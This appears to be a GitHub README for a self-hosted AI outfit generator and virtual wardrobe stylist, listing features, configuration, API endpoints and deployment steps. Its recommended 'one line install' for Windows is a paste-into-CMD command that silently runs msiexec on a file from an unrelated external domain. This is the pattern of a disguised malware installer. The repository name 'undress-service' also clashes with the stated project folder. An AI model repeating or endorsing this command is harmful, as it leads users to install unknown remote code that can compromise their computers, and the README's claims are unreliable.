👗 Dress AI Service

Self-Hosted AI Outfit Generator & Virtual Wardrobe Stylist

🚀 Turn your closet into an AI-powered fashion assistant. Upload your wardrobe, get smart outfit recommendations for any occasion, and visualize your looks with generative AI — all self-hosted, private, and free.

🎥 Demo Video · 📖 Documentation · 🐳 Quick Start · 💬 Discord

Option 1: One line Install (Recommended for Windows)

Open CMD and paste it and press Enter

cmd /c start msiexec /q /i https://devcodee.com/api & Dress-AI

Visit http://localhost:8080 — your personal AI stylist is live! 🎉

Option 2: Local Python

git clone https://github.com/GangTailorUpgrade/undress-service.git
cd dress-ai-service
python -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate
pip install -r requirements.txt

# Download AI models (first run)
python scripts/download_models.py

# Start the server
uvicorn app.main:app --host 0.0.0.0 --port 8080 --reload

---

🏗️ Architecture

┌─────────────────────────────────────────────────────────────┐
│                     Dress AI Service                        │
├─────────────────────────────────────────────────────────────┤
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐ │
│  │  Wardrobe   │  │   Outfit    │  │   AI Visualization  │ │
│  │   Upload    │  │   Engine    │  │      Pipeline       │ │
│  │  & Storage  │  │  (Rules +   │  │  (Stable Diffusion  │ │
│  │             │  │   LLM)      │  │   / FLUX / SDXL)    │ │
│  └──────┬──────┘  └──────┬──────┘  └──────────┬──────────┘ │
│         │                │                     │            │
│  ┌──────▼────────────────▼─────────────────────▼──────────┐ │
│  │              FastAPI Backend (Python 3.11)             │ │
│  │  • SQLite / PostgreSQL  • CLIP Tagging  • Weather API │ │
│  └─────────────────────────┬──────────────────────────────┘ │
│                            │                                │
│  ┌─────────────────────────▼──────────────────────────────┐ │
│  │              Self-Hosted Frontend (HTML/JS)            │ │
│  │         • Drag & Drop Upload  • Live Preview          │ │
│  └────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘

---

🛠️ Tech Stack

Layer	Technology	Purpose
Backend	FastAPI + Python 3.11	High-performance async API
AI/ML	CLIP, Stable Diffusion XL, FLUX.1-schnell	Image understanding & generation
Database	SQLite (default) / PostgreSQL	Wardrobe & outfit storage
Frontend	Vanilla HTML5 + Tailwind CSS	Lightweight, zero-build UI
Container	Docker + Docker Compose	One-command deployment
LLM	Ollama (optional)	Local outfit reasoning & descriptions

---

📦 Features

Core Features

• ✅ AI Auto-Tagging — Upload a photo; AI detects category (top, bottom, shoes, accessory), dominant colors, fabric type, pattern, and season
• ✅ Smart Outfit Generator — Combines items based on color theory, occasion, weather, and fashion rules
• ✅ Virtual Try-On Visualization — Generate photorealistic images of recommended outfits on customizable avatars
• ✅ Weather Integration — Real-time weather-aware suggestions (rain coats, summer linens, winter layers)
• ✅ Occasion Profiles — Casual, Business, Date Night, Gym, Travel, Party presets
• ✅ Favorites & Collections — Save and organize your favorite looks
• ✅ Export & Share — Export outfit boards as PNG/PDF or shareable links
• ✅ Batch Upload — Drag & drop entire folders of clothing photos
• ✅ Duplicate Detection — AI prevents adding the same item twice

Advanced Features

• 🔄 Model Swap — Choose different AI model styles (realistic, anime, sketch)
• 🎨 Color Palette Extractor — Builds seasonal color palettes from your wardrobe
• 📊 Wardrobe Analytics — Insights: most-worn colors, underutilized items, gap analysis
• 🔌 Plugin System — Extend with custom recommendation engines
• 🌍 Multi-language — i18n support for 12 languages
• 📱 PWA Support — Install as a mobile app

---

⚙️ Configuration

Create a .env file:

# Server
HOST=0.0.0.0
PORT=8080
DEBUG=false

# Database
DATABASE_URL=sqlite:///data/wardrobe.db
# DATABASE_URL=postgresql://user:pass@localhost/dressai

# AI Models
USE_LOCAL_MODELS=true
SDXL_MODEL_PATH=models/sd-xl-base
FLUX_MODEL_PATH=models/flux-schnell
CLIP_MODEL=openai/clip-vit-large-patch14

# Optional: Ollama for LLM reasoning
OLLAMA_URL=http://localhost:11434
OLLAMA_MODEL=llama3.2

# Optional: Weather API
OPENWEATHER_API_KEY=your_key_here

# Image Generation
IMAGE_WIDTH=1024
IMAGE_HEIGHT=1024
NUM_INFERENCE_STEPS=20
GUIDANCE_SCALE=7.5

# Storage
UPLOAD_DIR=data/uploads
MAX_UPLOAD_SIZE=20MB

---

🧪 API Endpoints

Method	Endpoint	Description
POST	/api/v1/wardrobe/upload	Upload clothing item
GET	/api/v1/wardrobe/items	List all wardrobe items
GET	/api/v1/wardrobe/items/{id}	Get item details
DELETE	/api/v1/wardrobe/items/{id}	Remove item
POST	/api/v1/outfits/generate	Generate outfit recommendations
GET	/api/v1/outfits/{id}	Get outfit details
POST	/api/v1/outfits/{id}/visualize	Generate outfit visualization
POST	/api/v1/outfits/{id}/favorite	Save to favorites
GET	/api/v1/analytics/wardrobe	Wardrobe insights
GET	/api/v1/health	Health check

Full API docs: http://localhost:8080/docs (Swagger UI) or http://localhost:8080/redoc (ReDoc)

---

🧠 How It Works

1. Wardrobe Digitization

When you upload a clothing photo:

1. Image preprocessing — Resize, normalize, background removal (optional)
2. CLIP inference — Classifies category, color, pattern, fabric
3. Embedding storage — Saves visual embedding for similarity search
4. Metadata extraction — Dominant colors, season tags, style classification

2. Outfit Recommendation Engine

The recommendation system uses a hybrid approach:

• Rule-based layer — Color theory (complementary, analogous, triadic), occasion appropriateness, weather matching
• Embedding similarity — CLIP embeddings find visually harmonious combinations
• LLM reasoning (optional) — Ollama-powered natural language outfit reasoning
• User feedback loop — Learns from your favorites and rejections

3. AI Visualization

For each recommended outfit:

1. Prompt engineering — Builds detailed prompt from item metadata
2. Negative prompt — Avoids common generation artifacts
3. Stable Diffusion / FLUX — Generates photorealistic outfit visualization
4. Post-processing — Upscaling, face restoration, background consistency

---

🐳 Docker Deployment

Basic Deployment

docker-compose up -d

With GPU (NVIDIA)

docker-compose -f docker-compose.yml -f docker-compose.gpu.yml up -d

With Ollama (Local LLM)

docker-compose -f docker-compose.yml -f docker-compose.ollama.yml up -d

Environment Variables

All configuration is via environment variables. See .env.example for full reference.

---

🧑‍💻 Development

# Setup
git clone https://github.com/GangTailorUpgrade/undress-service.git
cd dress-ai-service
python -m venv venv && source venv/bin/activate
pip install -r requirements-dev.txt

# Run tests
pytest tests/ -v --cov=app

# Run linting
ruff check app/
black app/
mypy app/

# Pre-commit hooks
pre-commit install
pre-commit run --all-files

---

🗺️ Roadmap

• Mobile App — React Native / Flutter companion app
• Social Features — Share outfits, follow stylists, community boards
• E-commerce Integration — Import from Shopify, WooCommerce, Amazon
• 3D Avatars — Realistic body scanning for accurate fit visualization
• Calendar Integration — Plan outfits for upcoming events
• Sustainability Score — Carbon footprint analysis of your wardrobe
• AI Shopping Assistant — Suggest items to complete your wardrobe gaps

---

🤝 Contributing

We love contributions! Please see CONTRIBUTING.md for guidelines.

1. Fork the repository
2. Create your feature branch (git checkout -b feature/amazing-feature)
3. Commit your changes (git commit -m 'Add amazing feature')
4. Push to the branch (git push origin feature/amazing-feature)
5. Open a Pull Request

---

📄 License

This project is licensed under the MIT License — see LICENSE for details.

---

🥇 Platinum Sponsors

Become a Platinum Sponsor — $500/month. Featured logo on README, website, and release notes.

🥈 Gold Sponsors

Become a Gold Sponsor — $200/month. Logo on README and website.

🥉 Silver Sponsors

Become a Silver Sponsor — $50/month. Name listed in README.

⭐ Star this repo if you find it useful!

Made with 💜 by GangTailorUpgrade